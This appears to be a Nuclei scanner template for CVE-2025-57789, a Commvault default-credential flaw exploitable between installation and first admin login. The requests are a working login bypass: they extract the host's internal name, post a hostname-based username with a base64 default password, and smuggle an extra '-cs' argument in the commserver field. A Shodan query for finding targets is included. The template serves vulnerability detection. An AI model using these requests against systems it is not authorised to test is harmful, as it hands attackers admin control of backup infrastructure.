id: CVE-2025-57789 info: name: Commvault Initial Administrator Login Process Vulnerability author: DhiyaneshDK,watchtowr severity: medium description: | An issue was discovered in Commvault before 11.36.60.During the brief window between installation and the first administrator login, remote attackers may exploit the default credential to gain admin control. This is limited to the setup phase, before any jobs have been configured. impact: | Attackers can exploit default credentials during the brief setup window between installation and first administrator login to gain admin control of the Commvault instance. remediation: | Complete the initial administrator setup immediately after installation and change all default credentials. reference: - https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/ - https://documentation.commvault.com/securityadvisories/CV_2025_08_4.html - https://nvd.nist.gov/vuln/detail/CVE-2025-57789 metadata: verified: true max-request: 2 shodan-query: http.favicon.hash:-542502280 tags: cve,cve2025,commandcenter,commvault,unauth,vuln flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/commandcenter/publicLink.do" extractors: - type: regex name: connection group: 1 part: body regex: - '"activeMQConnectionURL":"tcp:\/\/(.*?):\d+.*"' internal: true - raw: - | POST /commandcenter/api/Login HTTP/1.1 Host: {{Hostname}} Accept: application/json Content-Type: application/json;charset=UTF-8 { "username": "{{connection}}_localadmin__", "password": "YSAtbG9jYWxhZG1pbg==", "commserver": "{{connection}} -cs {{connection}}" } matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "userGUID","token")' condition: and # digest: 4a0a00473045022054e82be42d30b5984b24d31190713ebf401c7354fbcf8185cb6089d4f951dcaa022100c096de8c715e9f9630f7c34ae0a65c5c57a1f979d875d55e68a79fedb43ce0ee:922c64590222798bb761d5b6d8e72950